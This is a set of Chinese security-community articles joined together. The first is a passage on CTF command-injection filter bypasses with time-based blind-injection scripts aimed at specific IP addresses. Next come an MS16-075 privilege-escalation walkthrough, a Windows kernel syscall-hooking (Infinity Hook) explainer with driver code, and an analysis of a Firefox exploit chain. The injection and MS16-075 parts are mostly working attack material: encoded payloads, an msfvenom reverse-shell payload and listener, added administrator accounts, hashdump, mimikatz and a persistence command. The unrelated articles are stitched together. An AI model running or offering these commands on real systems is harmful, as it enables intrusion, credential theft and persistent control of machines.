在Linux bash中可以使用`{OS_COMMAND,ARGUMENT}`来执行系统命令，如`{mv,文件1，文件2}`
#### 2.黑名单绕过
假设黑名单里有`flag`
##### （1）拼接
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b
##### （2）编码绕过
#1.base64编码：cat flag.php -> Y2F0IGZsYWcucGhw
`echo "Y2F0IGZsYWcucGhw"|base64 -d`
$(echo "Y2F0IGZsYWcucGhw"|base64 -d)
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
echo "Y2F0IGZsYWcucGhw"|base64 -d|sh
#2.hex编码：cat flag.php -> 63617420666c61672e706870
echo "63617420666c61672e706870"|xxd -r -p|bash
#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件
#-r参数：逆向转换。将16进制字符串表示转为实际的数
#-ps参数：以 postscript的连续16进制转储输出，也叫做纯16进制转储。
#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
#3.shellcode编码：cat flag.php -> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70
#经测试，发现在php的ping环境上执行失败。在linux系统上执行成功
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")
{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash
`{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}`
##### （3）利用已存在资源
如：从已有的文件或者环境变量中获得相应的字符
##### （4）单引号、双引号绕过
cat fl''ag.php
cat fl""ag.php
c''at fl''ag.php
c""at fl""ag.php
##### （5）反斜杠绕过
cat fl\ag.php
c\at fl\ag.php
##### （6）利用shell特殊变量绕过
#特殊变量有：
$1到$9、$@和$*等
cat fl$1ag.php
cat [email protected]
#### 3.文件读取绕过
文件读取，最常用的就是`cat`命令。如果`cat`被过滤，可以使用下面命令替代：
more:一页一页的显示档案内容
less:与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl：显示的时候，顺便输出行号
od:以二进制的方式读取档案内容，不加选项默认输出八进制
vi:一种编辑器，这个也可以查看
vim:一种编辑器，这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
more/less/head/tac/tail/nl/vi/vim/uniq/file -f/sort flag.php
上边的命令执行后，都可以在输出结果中看到flag。
而od命令可通过添加`-c`选项输出字符串内容：
od -c flag.php
[od命令](http://lnmp.ailinux.net/od)
#### 4.通配符绕过
参考：[命令执行绕过之Linux通配符](https://www.secpulse.com/archives/96374.html)
cat *
cat f*
/???/?at flag.php #/bin/cat flag.php
/???/?at ????????
/???/?[a][t] ????????
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/?[a]''[t] ?''?''?''?''?''?''?''?''
/???/[:lower:]s #ls
等等。。。
#### 5.内敛执行绕过
内敛，就是将`命令`或$(命令)内命令的输出作为输入执行
cat `ls`
cat $(ls)
#### 6.长度限制绕过(文件构造绕过)
通常利用`ls -t`、`>`、`>>`和`换行符\`绕过长度限制
> 使用ls -t命令，可以将文件名按照时间顺序排列出来(后创建的排在前面)
> 使用>，可以将命令结果存入文件中
> 使用>>，可以将字符串添加到文件内容末尾，不会覆盖原内容
> 使用换行符\，可以将一条命令写在多行
测试一下`ls -t>a`命令
ls -t>a #会发现先创建文件名为a的文件，然后把ls -t的结果输入到文件a中
于是，根据以下原理，实现文件构造绕过：
linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行
（1）先创建文件名可以连接成要执行命令的空文件(由于ls -t命令，所以要注意文件创建顺序)
>"php"
> "ag.\\"
> "fl\\"
> "t \\"
> "ca\\"
#为什么要两个反斜杠呢？我理解的是：用前1个反斜杠转义后1个反斜杠。如果只有一个反斜杠会转义后边的双引号",从而使空文件创建失败
（2）执行`ls -t>qwzf`将目录下的文件名按时间排序后写进qwzf文件里
ls -t>qwzf
#如果创建空文件时，创建了点.开头的文件，上边命令要添加-a选项将隐藏文件也写入qwzf，即
ls -at>qwzf
（3）执行`sh qwzf`命令，从qwzf文件中读取命令来执行
sh qwzf
长度限制绕过也可用于反弹shell命令和`wget 网址 -O webshell.php`命令
### 3、命令盲注
服务器未联网，无回显，无法利用自己总结的无回显命令执行，无写入权限和无法getshell等情况下，可以通过枚举/二分查找暴力查询flag。
这个主要是在 **DASCTF 五月赛[Web 棒棒小红花]** 看到师傅们的这个操作。先贴上大师傅写的命令盲注脚本：
import requests
import time
url = "http://183.129.189.60:10070/?imagin="
requests.adapters.DEFAULT_RETRIES = 3 # 最大重连次数防止出问题
SLEEP_TIME = 0.25
kai_shi = time.time()
flag=""
i = 0 # 计数器
print("[start]: -------")
while( True ):
head = 32
tail = 127
i += 1
while ( head < tail ) :
mid = ( head + tail ) >> 1
payload = '''h3zh1=$( cat /flag | cut -c %d-%d );if [ $( printf '%%d' "'$h3zh1" ) -gt %d ];then sleep %f;fi''' % ( i, i, mid, SLEEP_TIME)
start_time = time.time() # 开始
r = requests.get(url+payload)
end_time = time.time() # 结束
#print(payload)
if ( end_time - start_time > SLEEP_TIME ) :
head = mid + 1
else :
tail = mid
if head!=32:
flag += chr(head)
print("[+]: "+flag)
else:
break
print("[end]: "+flag)
jie_shu = time.time()
print("程序运行时间:"+str(jieshu - kaishi))
参考上边大师傅写的脚本，写出我自己的通用脚本：
import requests
import time
url = "http://39.105.93.165:8003/?ip=;"
requests.adapters.DEFAULT_RETRIES = 3 # 设置最大重连次数，防止出问题
sleep_time = 0.3 #睡眠时间
flag=""
i = 0 # 计数器
begin_time = time.time() #程序运行开始时间
print("--------程序开始运行--------\n")
while( True ):
head = 32
tail = 127
i += 1
while ( head < tail ) :
mid = ( head + tail ) >> 1 #>>位运算符，换成二进制并右移1位。相当于取中间数
payload = '''qwzf=$(cat flag.php|cut -c %d-%d );(if [ $( printf '%%d' "'$qwzf" ) -gt %d ];then sleep %f;fi)'''% (i,i,mid,sleep_time)
'''
payload中的命令详解：
cat flag.php查看flag.php文件内容
cut -c 1-1剪切第1到第1个字符
printf '%%d' "'$qwzf"将字符转换成ASCII
-gt大于
'''
start_time = time.time() #请求开始时间
r = requests.get(url+payload)
end_time = time.time() #响应结束时间
#print(payload)
if ( end_time - start_time > sleep_time ) : #符合的字符ascii值在中间数后半部分
head = mid + 1
else : #符合的字符ascii值在前半部分
tail = mid
if head != 125: #}的ASCII码是125
flag += chr(head)
print("[+]："+flag)
else:
print("[+]："+flag+"}")
break
print("最后结果: "+flag+"}")
finishe_time = time.time() #程序运行结束时间
print("程序运行时间:"+str(finishe_time - begin_time))
我自己参考写的脚本和大师傅的脚本基本没什么变化，只是简单分析和修改了一下源码，然后进行了一下测试：
## 0x04 后记
本次学习的内容，概括如下：
**1.绕过disable_function的方法** ：`ld_preload`和`php_gc`等
**2.绕过过滤字符** 包括：`空格绕过`、`黑名单绕过`、`文件读取绕过`、`通配符绕过`、`内敛执行绕过`、`长度限制绕过(文件构造绕过)`等
其中黑名单绕过包括：`拼接`、`编码绕过`、`利用已存在资源`、`单、双引号绕过`、`反斜杠绕过`、`利用shell特殊变量绕过`等
**3.命令盲注**
**4.无回显命令执行绕过**
参考之前我写过的文章：[浅谈PHP无回显命令执行的利用](https://xz.aliyun.com/t/8125)
参考博客：
[绕过disable_function总结](http://prontosil.club/posts/1cc6bf70/)
[PHP Webshell下绕过disable_function的方法](https://xz.aliyun.com/t/5320)
[命令执行的一些绕过技巧](https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/)
[CTF中的命令执行绕过](https://blog.csdn.net/qq_38154820/article/details/105650684)
[浅谈CTF中命令执行与绕过的小技巧](https://www.freebuf.com/articles/web/137923.html)
[命令执行漏洞利用及绕过方式总结](https://www.ghtwf01.cn/index.php/archives/273/)
[命令执行漏洞，绕过过滤姿势](https://www.cnblogs.com/ophxc/p/12826497.html)
[命令执行绕过之Linux通配符](https://www.secpulse.com/archives/96374.html)
[DAS X BJD3rd(2解)](https://www.cnblogs.com/h3zh1/p/12945275.html) | 社区文章 |
1.1.1 ms16-075漏洞简介及利用前提
1.ms16-075漏洞简介
Windows SMB
服务器特权提升漏洞（CVE漏洞编号：CVE-2016-3225）当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时，Microsoft
服务器消息块 (SMB)
中存在特权提升漏洞，成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞，攻击者首先必须登录系统。然后，攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序，从而控制受影响的系统。此更新通过更正Windows服务器消息块
(SMB)
服务器处理凭据转发请求的方式来修复此漏洞。微软将其定义为KB3164038，有关该漏洞的详细介绍请参阅其网页：<https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-075。>
2 wmic对目标系统进行漏洞补丁更新情况查看
（1）wmic查看所有补丁安装情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
（2）查找具体漏洞号的信息
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041"
/C:"KB4018483"
3.msf反弹进行补丁枚举
（1）使用模块post/windows/gather/enum_patches
use post/windows/gather/enum_patches
（2）设置会话
使用sessions -l命令查看会话，加入只有一个会话，其id为1，则使用set session 1设置为当前会话。
（3）设置漏洞KB号。
set kb "KB3136041" ,"KB4018483","KB3143141"
（4）执行枚举
run
1. windows-exploit-suggester.py进行补丁漏洞审计
（1）systeminfo生成文件
systeminfo >win2008.txt
（2）下载windows-exploit-suggester.py
<https://github.com/GDSSecurity/Windows-Exploit-Suggester>
（3）安装xlrd模块
pip install xlrd --upgrade
（4）更新windows-exploit-suggester
windows-exploit-suggester.py -u
上面命令会生成一个以当天日期的文件，例如2018-06-07-mssb.xls。
（5）执行漏洞审计
windows-exploit-suggester.py --audit -l --database 2018-06-07-mssb.xls
--systeminfo 1.txt >win2008-day.txt
2018-06-07-mssb.xls跟前面生成的文件名称一致，win2008-day.txt即为漏洞审计情况。
1.1.2 ms16-075漏洞利用程序及方法
1.ms16-075漏洞利用程序
FoxGlove公布（<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075）的potato及Tater（https://github.com/Kevin-Robertson/Tater）公布的Tater.ps1利用程序。>
2. msf下提权命令利用程序。
（1）upload potato.exe
（2）use incognito
（3）list_tokens -u
（4）execute -cH -f ./potato.exe
（5）list_tokens -u
（6）impersonate_token "NT AUTHORITY\SYSTEM"
（7）getuid
3.powershell下提权命令
Import-Module ./Tater.ps1 或者. ./Tater.ps1
（1）Trigger 1示例
Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net
localgroup administrators tater /add"
（2）trigger 2示例
Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net
localgroup administrators tater /add"
（3）windows7使用（NBNS WPAD Bruteforce + Windows Defender Signature Updates）
net localgroup administrators
..\Tater.ps1
Invoke-Tater -Command ""net localgroup administators user /add
net localgroup administrators
（4）Windows 10 使用trigger 2 (WebClient Service + Scheduled Task)
Set-ExecutionPolicy unrestricted -Scope CurrentUser
输入y
..\Tater.ps1
Invoke-Tater -Command "net localgroup administators user /add" -trigger 2
net localgroup administrators
（5）Windows 7 使用trigger 1和UDP端口耗尽
..\Tater.ps1
Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup
administators tater /add" -exhaustudp y
1.1.3msf生成反弹木马
1.反弹条件
（1）在内网中，lhost为内网地址
（2）在公网需要有独立IP，也即lhost为独立IP，通过开放的端口能够访问到
2.生成反弹木马命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f
exe -o 4433.exe
反弹到的主机地址为192.168.1.33，端口为4433，生成的木马文件为4433.exe
3.将4433.exe上传到需要提权的目标服务器上
1.1.4msf平台准备工作
1.执行监听
（1）在kali或者其他平台下开启msf
./msfconsole
（2）使用exploit/multi/handler
use exploit/multi/handler
（3）这只payload
set PAYLOAD windows/meterpreter/reverse_tcp
（4）设置反弹IP地址
set LHOST 192.168.1.33 //实际情况中需要将192.168.1.33换成公网IP地址
（5）设置端口
set LPORT 4433
（6）运行
exploit
2.在提权目标服务器上执行4433.exe程序
1.1.5攻击实例
1.使用后门模块
开启msf平台后依次执行以下命令，执行效果如图1所示。
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 47.75. ** _._**
set LPORT 4433
exploit
图1使用后门监听模块
2.进行提权
（1）查看反弹服务器基本信息
在目标服务器上执行前面生成的反弹木马，如图2所示，反弹回来后，执行sysinfo查看服务器信息，该服务器为Windows 2008 SP2，为X86架构。
图2查看服务器基本信息
（2）在反弹的meterpreter中分别执行getuid及getsystem命令查看当前用户的权限及进行提权，结果显示使用msf自带的提权方法提权失败，如图3所示。
图3使用msf自带提权方法提权失败
3.上传ms16-075文件
在meterpreter中执行upload
potato.exe命令，如图4所示，meterpreter会将potato文件直接上传到反弹shell所在的目录下。
图4上传ms16-075文件
4.利用ms16-075进行提权
（1）利用msf16-075进行提权
如图5所示，依次执行以下命令：
use incognito
list_tokens -u
execute -cH -f ./potato.exe
图5执行提权命令
（2）提权成功
执行ms16-075提权程序后，再次执行以下命令，如图6所示，获取当前用户权限为NT AUTHORITY\SYSTEM权限。
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
getuid
图6获取系统权限
5.获取及破解当前系统哈希值
（1）获取当前系统哈希值
在meterpreter中执行run
hashdump命令，如图7所示，成功获取当前系统下的所有账号的哈希加密值，不过该哈希值的LM值为aa3d表示无法破解。只有后面的ntlm值有用。
图7获取当前系统密码哈希值
（2）破解密码值
将获取的哈希密码值的后半部分复制到www.cmd5.com进行破解，破解时需要选择ntlm算法，如图8所示，查询到密码后，通过付费查询，获取其密码值。
图8对密码进行破解
（3）使用mimikatz来获取密码
在meterpreter中执行load mimikatz命令，如图9所示，然后执行msv等命令，来获取系统的明文密码，在本案例中未能成功获取明文密码。
图9使用mimikatz获取明文密码
6.登录服务器
（1）查看远程终端端口
如图10所示，可以在shell状态下执行tasklist /svc | find “TermService”及netstat -ano | find
“2872”命令来获取当前系统开放的3389端口。注意前面命令获取的是进程PID号是后面查询的关键字。也可以使用nmap命令通过扫描来确定，例如执行nmap
-A -sS -Pn 192.1.1.1等命令来核实远程目标开放的端口。
图10获取远程终端端口
（2）登录远程终端并获取明文密码
使用前面破解的密码登录远程桌面，然后上传wce来获取明文密码，如图11所示，成功获取其管理员的密码。
图11获取管理员密码
1.1.6进行ms16-075提权及相关命令总结
1.ms16-075提权命令
upload potato.exe
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
getuid
2.获取密码哈希值
run hashdump
3.mimikatz进行密码获取
load mimikatz
kerberos、livessp、msv、ssp、tspkg、wdigest（逐个命令测试，有的会显示明文密码）
mimikatz_command：mimikatz命令提示窗口
mimikatz_command -f sekurlsa::wdigest -a "full"
mimikatz_command -f sekurlsa::logonpasswords
4.远程终端端口查看命令
tasklist /svc | find "TermService"
netstat -ano | find "2872"
5.持久化攻击
run persistence -X -i 50 -p 4433 -r 192.168.1.33
小彩蛋：
（1）密码安全攻防技术精讲:<http://gitbook.cn/gitchat/column/5afbf24f753289354cab7983>
（2）SQLmap入门到精通：<http://blog.51cto.com/cloumn/detail/3>
（3）新书《网络攻防实战研究：漏洞利用与提权》<http://item.jd.com/12330042.html?dist=jd?dist=jd>
参考文章：
<https://github.com/SecWiki/windows-kernel-exploits>
<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075>
<https://github.com/Kevin-Robertson/Tater>
<https://github.com/EmpireProject/Empire>
<https://github.com/jaredhaight/psattack>
<https://github.com/Cn33liz/p0wnedShell> | 社区文章 |
# Windows 10 19041版本的Infinity hook 原理
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一.原理
国外友人发表的一篇文章[https://p4xon.blog/hooking-all-system-calls-in-windows-10-20h1/
](https://p4xon.blog/hooking-all-system-calls-in-windows-10-20h1/)中提到了如何在20h1版本的Windows进行inf hook.
然而我发现在19041上存在不兼容.因此阅读原作者文章对其源码进行修改来学习infinity hook原理.
简单来说原来的[inf hook](https://github.com/fIappy/InfinityHook).
它是通过修改WMI_LOGGER_CONTEXT结构的GetCpuClock函数为自己的代理函数.
当用户层程序进行系统调用时,会先调用PerfInfoLogSysCallEntry函数来对此次系统调用进行记录.然后才调用系统调用函数.PerfInfoLogSysCallEntry内部又会调用驱动注册的WMI_LOGGER_CONTEXT结构中的GetCpuClock指向的函数.
于是就可以通过修改GetCpuClock指针为自己的代理函数,而且系统调用函数被存放在栈上,因此在该函数中能从栈中获取系统调用函数的值并进行修改为自己的hook函数.具体原理已有文章讲解和源码不再赘述.
然而在20h1的更新中,GetCpuClock不再是函数指针,而是一个索引值,当该值为1时会调用KeQueryPerformanceCounter函数:
__int64 __fastcall EtwpGetLoggerTimeStamp(struct _WMI_LOGGER_CONTEXT *a1)
{
unsigned __int64 v1; // rax
int v2; // eax
int v3; // eax
__int64 result; // rax
__int64 v5; // [rsp+30h] [rbp+8h]
v1 = a1->GetCpuClock;
if ( v1 > 3 )
goto LABEL_10;
if ( !(_DWORD)v1 )
return RtlGetSystemTimePrecise();
v2 = v1 - 1;
if ( v2 )
{
v3 = v2 - 1;
if ( v3 )
{
if ( v3 == 1 )
return __rdtsc();
LABEL_10:
__fastfail(0x3Du);
}
v5 = 0i64;
off_140C00A30(&v5);
result = v5;
}
else
{
result = KeQueryPerformanceCounter(0i64).QuadPart;
}
return result;
}
当GetCpuClock 大于3时调用__fastfail(0x3Du)报错.
当GetCpuClock 等于3时调用__rdtsc()
当GetCpuClock 等于2时调用off_140C00A30
当GetCpuClock 等于1时调用KeQueryPerformanceCounter
当GetCpuClock 等于0时调用RtlGetSystemTimePrecise()
这里主要关注KeQueryPerformanceCounter()函数,因为只有这个函数里面存在通过函数指针调用函数.
在1903系统上,该函数是HAL的函数.但是在19041中,该函数在ntoskrnl中实现:
LARGE_INTEGER __stdcall KeQueryPerformanceCounter(PLARGE_INTEGER PerformanceFrequency)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v1 = HalpPerformanceCounter;
v2 = PerformanceFrequency;
...........................................
v36 = *(_QWORD *)(HalpPerformanceCounter + 0xC0);
if ( *(_DWORD *)(HalpPerformanceCounter + 0xDC) == 0x40 )
{
v5 = HalpTimerGetInternalData(HalpPerformanceCounter);
v6 = (*(__int64 (__fastcall **)(__int64))(v1 + 0x70))(v5);//调用函数指针
v7 = *(_QWORD *)(v1 + 0xD0);
...........................................
在KeQueryPerformanceCounter函数中,会调用HalpPerformanceCounter+0x70指向的函数:`v6 =
(*(__int64 (__fastcall **)(__int64))(v1 + 0x70))(v5)`
该函数指针本来指向 HalpHvCounterQueryCounter函数.
根据p4xon所说,HalpPerformanceCounter处于.data不被pg保护,因此可以变换思路将这个函数指针指向代理函数,然后修改栈上的系统调用值的思路和以前的一样.
HalpHvCounterQueryCounter函数:
__int64 HalpHvCounterQueryCounter()
{
__int64 result; // rax
if ( HalpHvTimerApi )
result = HalpHvTimerApi();
else
result = __readmsr(0x40000020u);
return result;
}
## 二.关键源码解析
bool hookSystemCall(std::uintptr_t hookFunction, std::uintptr_t systemFunction) {
systemCallHookFunction = hookFunction;
targetSystemCallFunction = systemFunction;
// Get the Circular Kernel Context Logger WMI_LOGGER_CONTEXT structure
circularKernelContextLogger = getCKCLContext();
if (!circularKernelContextLogger)
return false;
// Get the service descriptor table which is used for resolving system call numbers
keServiceDescriptorTable = Native::getServiceDescriptorTable();
if (!keServiceDescriptorTable)
return false;
// Try to enable system call logging for the Circular Kernel Context Logger
// In the case that the logger is not started, try to start it up
if(!NT_SUCCESS(modifyCKCL(EtwUpdateLoggerCode, EVENT_TRACE_FLAG_SYSTEMCALL)))
if(!NT_SUCCESS(modifyCKCL(EtwStartLoggerCode, EVENT_TRACE_FLAG_SYSTEMCALL)))
return false;
else
{
if (!NT_SUCCESS(modifyCKCL(EtwUpdateLoggerCode, EVENT_TRACE_FLAG_SYSTEMCALL)))
{
return false;
}
}
// Set the GetCpuClock member of WMI_LOGGER_CONTEXT to 1 so KeQueryPerformanceCounter is called
*reinterpret_cast<std::uint64_t*>(circularKernelContextLogger + Offsets::wmiGetCpuClock) = 1;
// Hook HalpPerformanceCounter so we can actually intercept system calls
if (!NT_SUCCESS(hookPerformanceCounterRoutine(reinterpret_cast<std::uintptr_t>(&checkLogger), &halCounterQueryRoutine)))
return false;
return true;
}
首先获取WMI_LOGGER_CONTEXT结构指针:
`circularKernelContextLogger =
getCKCLContext();`,该变量通过搜索特征码得到.当然也可以通过解析pdb符号来得到.
然后开启对系统调用的日志记录:
`modifyCKCL(EtwStartLoggerCode, EVENT_TRACE_FLAG_SYSTEMCALL)`
成功后,将GetCpuClock改为1:
`*reinterpret_cast<std::uint64_t*>(circularKernelContextLogger +
Offsets::wmiGetCpuClock) = 1;`
之后调用hookPerformanceCounterRoutine修改HalpPerformanceCounter+0x70指针:
NTSTATUS hookPerformanceCounterRoutine(std::uintptr_t hookFunction, std::uintptr_t* oldFunction) {
UNICODE_STRING keQueryPerformanceCounterUnicode = RTL_CONSTANT_STRING(L"KeQueryPerformanceCounter");
const auto keQueryPerformanceCounter = reinterpret_cast<std::uintptr_t>(
MmGetSystemRoutineAddress(&keQueryPerformanceCounterUnicode));
if (!keQueryPerformanceCounter)
return STATUS_NOT_FOUND;
// Find HalpPerformanceCounter from KeQueryPerformanceCounter
//auto halpPerformanceCounter = Scanner::scanPattern(reinterpret_cast<std::uint8_t*>(keQueryPerformanceCounter),
// 0x100, "x80x96x98x00", "xxxx");
//halpPerformanceCounter += 7;
//halpPerformanceCounter += *reinterpret_cast<std::int32_t*>(halpPerformanceCounter) + sizeof(std::int32_t);
//halpPerformanceCounter = *reinterpret_cast<std::uintptr_t*>(halpPerformanceCounter);
//首先找到HalpPerformanceCounter变量
halpPerformanceCounter = Scanner::scanPattern(reinterpret_cast<std::uint8_t*>(keQueryPerformanceCounter),
0x100, "x56x57x41x56", "xxxx");
halpPerformanceCounter += 8;
auto saddr = halpPerformanceCounter;
halpPerformanceCounter += 3;
halpPerformanceCounter = saddr +*reinterpret_cast<std::int32_t*>(halpPerformanceCounter) + 7;
halpPerformanceCounter = *reinterpret_cast<std::uintptr_t*>(halpPerformanceCounter);
// Swap the function pointers for the QueryCounter routine
//将HalpPerformanceCounter+0x70指向改为自己的代理函数
*oldFunction = *reinterpret_cast<std::uintptr_t*>(halpPerformanceCounter + Offsets::counterQueryRoutine);
*reinterpret_cast<std::uintptr_t*>(halpPerformanceCounter + Offsets::counterQueryRoutine) = hookFunction;
return STATUS_SUCCESS;
}
通过特征码搜索得到将HalpPerformanceCounter后,直接对+0x70处指针进行修改即可.
hookFunction:
checkLogger PROC
push rcx
mov rcx,rsp
call keQueryPerformanceCounterHook
pop rcx
mov rax, halCounterQueryRoutine
jmp rax
checkLogger ENDP
end
因为HalpHvCounterQueryCounter函数存在一个参数,需要保存rcx.然后把rsp传入keQueryPerformanceCounterHook:
//代理函数. 在汇编中将栈pStack传过来
void keQueryPerformanceCounterHook(ULONG_PTR* pStack) {
if (ExGetPreviousMode() == KernelMode)
{
return;
}
//往上遍历,看是否能发现WMI_LOGGER_CONTEXT指针,因为该函数不仅仅在ETW中被调用.在ETW调用时,会把WMI_LOGGER_CONTEXT
//指针压栈.经过测试,发现pStack[7]==circularKernelContextLogger.
//pStack[7]== circularKernelContextLogger
for (size_t i = 0; i < 10; i++)
{
if (pStack[i]== circularKernelContextLogger)
{
std::uintptr_t currentThread = reinterpret_cast<std::uintptr_t>(KeGetCurrentThread());
std::uint32_t syscallNumber = *reinterpret_cast<std::uint32_t*>(currentThread + Offsets::kthreadSystemCallNumber);
if (!syscallNumber)
return;
// Determine whether it's a win32k or nt syscall and resolve the system routine address
const auto syscallType = (syscallNumber >> 7) & 0x20;
const auto serviceTable = *reinterpret_cast<std::int32_t**>(keServiceDescriptorTable + syscallType);
const auto systemRoutine = reinterpret_cast<std::uintptr_t>(serviceTable) + (serviceTable[syscallNumber & 0xFFF] >> 4);
//获取栈顶
std::uintptr_t stackLowLimit, stackHighLimit;
IoGetStackLimits(&stackLowLimit, &stackHighLimit);
int j = 0;
//auto stack = (ULONG_PTR)pStack + 0x228;
//auto stack = (ULONG_PTR)pStack + 0x250;
auto stack = (ULONG_PTR)pStack + 0x2c0;
//从当前rsp往上遍历栈,直到找到存储系统调用的地址,经过测试发现栈上有3个地址都可能存储了函数指针
//因此把他们都打印出来后,依次修改为hook函数,看哪个生效,结果是(ULONG_PTR)pStack + 0x2c0有效
for (auto stack = (ULONG_PTR)pStack; stack <= stackHighLimit-8; stack+=8) {
if (*reinterpret_cast<std::uint64_t*>(stack) == systemRoutine) {
if (systemRoutine == targetSystemCallFunction)
{
DbgPrintEx(0, 0, "%d %08x %d,%s %d %p n", i, stack - (ULONG_PTR)pStack, j,
PsGetProcessImageFileName(PsGetCurrentProcess()),
syscallNumber, systemRoutine);
//修改栈数据
*reinterpret_cast<std::uint64_t*>(stack) = systemCallHookFunction;
//return;
j++;
}
}
}
return;
}
}
}
第4行首先排除内核代码(非从用户层来的系统调用代码)的调用.
第13行,由于在调用KeQueryPerformanceCounter时,WMI_LOGGER_CONTEXT结构指针被保存在栈中,因此可以根据这点判断是否是监控系统调用而调用的KeQueryPerformanceCounter.
然后获取系统调用号后,根据SSDT计算要调用的函数值,用于在栈中寻找保存的系统调用指针.找到目标指针后,即可替换成自己的hook函数.
NTSTATUS ntCreateFileHook(PHANDLE fileHandle, ACCESS_MASK desiredAccess, POBJECT_ATTRIBUTES objectAttributes,
PIO_STATUS_BLOCK ioStatusBlock, PLARGE_INTEGER allocationSize, ULONG fileAttributes,
ULONG shareAccess, ULONG createDisposition, ULONG createOptions, PVOID eaBuffer,
ULONG eaLength) {
kprintf("%s call NtCreateFile: %wsn", PsGetProcessImageFileName(PsGetCurrentProcess()),objectAttributes->ObjectName->Buffer);
if (wcsstr(objectAttributes->ObjectName->Buffer,L"1.txt"))
{
kprintf("已拦截n");
return STATUS_ACCESS_DENIED;
}
return NtCreateFile(fileHandle, desiredAccess, objectAttributes, ioStatusBlock, allocationSize, fileAttributes,
shareAccess, createDisposition, createOptions, eaBuffer, eaLength);
}
到此,可以根据自己系统版本对源码做针对性修改.
完整代码见:<https://github.com/fIappy/InfinityHook>
最终效果图: | 社区文章 |
**作者：维一零
原文链接：<https://weiyiling.cn/one/firefox_0day_case_analysis>**
## RCE部分
在渲染进程通过一个JS脚本利用XSL对象解析的UAF漏洞执行远程ShellCode。
### 漏洞原理
利用程序首先定义一些XML，内部包含多个XSL对象。
随后调用transformToDocument方法导致Convert函数被调用。
Convert函数的调用堆栈如下，txMozillaXSLTProcessor::TransformToDocument经过多层调用执行了Convert函数。
Convert函数取参数时使用了JS::ToString，导致用户自定义的回调函数调用。
用户回调函数中，攻击者调用removeParameter释放了参数本身导致UAF。
### 漏洞利用
通过XSL对象的UAF漏洞，攻击者构造2个数组对象用于实现任意内存读写。
借助这2个数组对象分别实现任意内存地址读写原语和JS对象地址函数。
接着通过一个函数对象获取JIT代码的地址，通过多次调用该函数使其转变为编译热代码，并通过内存读写原语获取其引用位置。
待执行的ShellCode事先通过一个DataView对象存储，来源为远程的二进制资源 “s97.bin”。
最终通过构造一段ROP代码调用VirtualProtect函数修改ShellCode的内存属性并成功执行，调用的方式是通过修改JIT代码引用指针进行代码劫持。
## EOP部分
通过RCE部分的ShellCode二进制代码“s97.bin”进行提权，最终由低权限的渲染进程向中权限的WebGPU进程实施代码劫持，利用的是WebGPU由于某RPC接口函数暴露问题引起的UAF漏洞。
### 漏洞原理
FireFox的WebGPU对象有父端和子端的角色区分，通常父端进程位于一个专门的WebGPU进程，具有较高的权限。漏洞发生位置是WebGPU对象定义的Shutdown接口函数，该函数用于相关对象的关闭和清理工作，但是由于定义此接口时使用父子端IPDL通信协议，故存在配套的SendShutdown函数和RecvShutdown函数。以下为PWebGPUChild子端对象的SendShutdown函数，该函数发送一个IPDL消息“PWebGPU::Msg_Shutdown”请求父端对象进行关闭操作，此操作通常仅在渲染进程清理时由内部CompositorBridgeChild对象的Destroy函数进行调用。
父端对象WebGPUParent对应的接收处理函数RecvShutdown如下，其内部调用wgpu_server_delete函数直接释放一个WGPUGlobal类型的对象mContext。
漏洞产生的根源在于SendShutdown函数接口的意外暴露导致攻击者可以直接调用该函数释放WGPUGlobal对象，形成UAF漏洞。如下是利用程序创建一个webgpu实例对象后直接调用PWebGPUChild::SendShutdown接口来形成UAF的方式。
### 漏洞利用
利用该UAF漏洞攻击者通过向WebGPU父端进程发送一些显示数据进行占位，此数据为经过特殊构造的ROP_GADGET片段，同时将最终待执行的payload也一起发送给父端进程。
构造的ROP_GADGET片段如下，主要包含对占位对象内部字段的劫持指针和用于payload调用任务ROP代码。
占位成功后，调用2次SendShaderModuleDestroy函数触发代码劫持，第一次调用利用GetClientSetRequestHeaders函数实现一个任意地址写的功能，用于修改第二次调用时利用_cairo_win32_device_flush函数内部的GdiFlush函数指针。
接着由劫持的GdiFlush函数指针调用ROP代码，该代码主要功能即调用VirtualProtect修改一段ShellCode的内存属性并执行。
